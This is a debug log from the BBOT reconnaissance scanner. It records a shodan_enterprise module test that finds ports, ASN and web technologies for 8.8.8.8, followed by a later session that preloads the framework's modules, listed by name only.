base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,922 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:19:58,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,924 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,925 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:19:58,925 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:19:58,926 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,926 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,927 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,927 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,928 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,928 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:19:58,929 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,930 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:19:58,931 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,931 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:19:58,932 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:19:58,932 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,933 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,935 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-02-27 22:19:58,935 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded +2026-02-27 22:19:58,936 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:19:58,936 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,937 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,937 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-02-27 22:19:58,938 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded +2026-02-27 22:19:58,938 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:58,938 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:19:58,940 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:19:59,007 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:19:59,008 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:59,008 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:19:59,009 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:19:59,009 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) from shodan_enterprise +2026-02-27 22:19:59,010 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) from shodan_enterprise +2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-02-27 22:19:59,011 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:19:59,012 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:19:59,012 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:19:59,014 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:19:59,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:19:59,014 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:19:59,015 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:19:59,015 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:19:59,015 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:19:59,016 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:19:59,116 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:19:59,117 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:19:59,137 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:19:59,138 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:19:59,139 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:19:59,146 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:19:59,147 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:19:59,148 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:19:59,149 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:19:59,149 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:19:59,150 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:19:59,272 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_9azyj11vty completed in 0 seconds with status FINISHED +2026-02-27 22:19:59,272 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:19:59,273 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:19:59,275 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:19:59,275 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:19:59,275 [CRITICAL] bbot test_module_shodan_enterprise.py:73 Found 2 TECHNOLOGY events +2026-02-27 22:19:59,276 [HUGEINFO] bbot test_module_shodan_enterprise.py:76 Technologies: ['HTTP/3', 'HSTS'] +2026-03-01 16:37:49,753 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:37:49,764 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk +2026-03-01 16:37:49,770 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk +2026-03-01 16:37:49,771 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:37:49,773 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:37:49,773 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk +2026-03-01 16:37:49,775 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk +2026-03-01 16:37:49,777 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk +2026-03-01 16:37:49,789 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk +2026-03-01 16:37:49,792 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk +2026-03-01 16:37:49,794 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk +2026-03-01 16:37:49,798 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:37:49,799 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk +2026-03-01 16:37:49,803 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:37:49,804 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk +2026-03-01 16:37:49,807 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:37:49,808 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk +2026-03-01 16:37:49,810 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk +2026-03-01 16:37:49,812 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk +2026-03-01 16:37:49,813 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk +2026-03-01 16:37:49,816 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk +2026-03-01 16:37:49,818 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk +2026-03-01 16:37:49,821 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk +2026-03-01 16:37:49,826 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk +2026-03-01 16:37:49,827 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk +2026-03-01 16:37:49,829 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk +2026-03-01 16:37:49,831 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk +2026-03-01 16:37:49,833 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk +2026-03-01 16:37:49,835 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk +2026-03-01 16:37:49,836 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk +2026-03-01 16:37:49,837 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk +2026-03-01 16:37:49,839 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk +2026-03-01 16:37:49,842 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk +2026-03-01 16:37:49,843 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk +2026-03-01 16:37:49,845 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk +2026-03-01 16:37:49,846 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk +2026-03-01 16:37:49,848 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk +2026-03-01 16:37:49,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:37:49,850 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:37:49,851 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:37:49,851 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:37:49,852 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:37:49,853 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:37:49,854 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:37:49,855 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:37:49,858 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:37:49,859 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:37:49,861 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:37:49,861 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:37:49,863 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:37:49,864 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:37:49,866 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:37:49,866 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:37:49,867 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:37:49,867 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:37:49,868 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk +2026-03-01 16:37:49,870 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk +2026-03-01 16:37:49,872 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk +2026-03-01 16:37:49,875 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk +2026-03-01 16:37:49,877 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk +2026-03-01 16:37:49,879 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk +2026-03-01 16:37:49,881 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk +2026-03-01 16:37:49,883 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk +2026-03-01 16:37:49,884 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk +2026-03-01 16:37:49,885 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk +2026-03-01 16:37:49,887 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk +2026-03-01 16:37:49,892 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk +2026-03-01 16:37:49,894 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk +2026-03-01 16:37:49,895 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk +2026-03-01 16:37:49,897 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk +2026-03-01 16:37:49,900 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk +2026-03-01 16:37:49,902 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk +2026-03-01 16:37:49,904 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk +2026-03-01 16:37:49,907 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk +2026-03-01 16:37:49,909 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk +2026-03-01 16:37:49,910 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk +2026-03-01 16:37:49,912 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk +2026-03-01 16:37:49,913 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk +2026-03-01 16:37:49,914 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk +2026-03-01 16:37:49,918 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk +2026-03-01 16:37:49,919 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk +2026-03-01 16:37:49,920 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk +2026-03-01 16:37:49,922 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk +2026-03-01 16:37:49,923 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk +2026-03-01 16:37:49,925 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk +2026-03-01 16:37:49,926 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk +2026-03-01 16:37:49,929 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk +2026-03-01 16:37:49,930 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk +2026-03-01 16:37:49,932 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk +2026-03-01 16:37:49,934 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk +2026-03-01 16:37:49,935 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk +2026-03-01 16:37:49,938 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk +2026-03-01 16:37:49,976 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk +2026-03-01 16:37:49,978 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk +2026-03-01 16:37:49,982 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk +2026-03-01 16:37:49,983 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk +2026-03-01 16:37:49,986 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk +2026-03-01 16:37:49,990 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk +2026-03-01 16:37:49,991 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk +2026-03-01 16:37:49,993 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk +2026-03-01 16:37:49,995 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk +2026-03-01 16:37:49,997 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk +2026-03-01 16:37:50,003 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk +2026-03-01 16:37:50,005 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk +2026-03-01 16:37:50,007 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk +2026-03-01 16:37:50,009 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk +2026-03-01 16:37:50,012 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk +2026-03-01 16:37:50,015 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk +2026-03-01 16:37:50,017 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk +2026-03-01 16:37:50,018 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk +2026-03-01 16:37:50,020 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk +2026-03-01 16:37:50,021 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk +2026-03-01 16:37:50,023 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk +2026-03-01 16:37:50,024 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk +2026-03-01 16:37:50,026 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk +2026-03-01 16:37:50,028 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk +2026-03-01 16:37:50,031 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk +2026-03-01 16:37:50,034 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk +2026-03-01 16:37:50,035 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk +2026-03-01 16:37:50,040 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk +2026-03-01 16:37:50,042 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk +2026-03-01 16:37:50,044 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk +2026-03-01 16:37:50,046 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk +2026-03-01 16:37:50,047 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk +2026-03-01 16:37:50,048 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk +2026-03-01 16:37:50,049 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk +2026-03-01 16:37:50,051 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk +2026-03-01 16:37:50,052 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk +2026-03-01 16:37:50,054 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk +2026-03-01 16:37:50,055 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk +2026-03-01 16:37:50,056 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk +2026-03-01 16:37:50,058 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk +2026-03-01 16:37:50,060 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk +2026-03-01 16:37:50,061 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk +2026-03-01 16:37:50,063 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk +2026-03-01 16:37:50,064 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk +2026-03-01 16:37:50,065 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk +2026-03-01 16:37:50,067 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk +2026-03-01 16:37:50,069 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk +2026-03-01 16:37:50,071 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk +2026-03-01 16:37:50,072 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk +2026-03-01 16:37:50,073 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk +2026-03-01 16:37:50,075 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk +2026-03-01 16:37:50,076 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk +2026-03-01 16:37:50,077 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk +2026-03-01 16:37:50,081 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk +2026-03-01 16:37:50,083 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk +2026-03-01 16:37:50,084 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk +2026-03-01 16:37:50,088 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk +2026-03-01 16:37:50,089 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk +2026-03-01 16:37:50,091 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk +2026-03-01 16:37:50,092 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk +2026-03-01 16:37:50,094 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk +2026-03-01 16:37:50,095 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk +2026-03-01 16:37:50,099 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk +2026-03-01 16:37:50,102 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk +2026-03-01 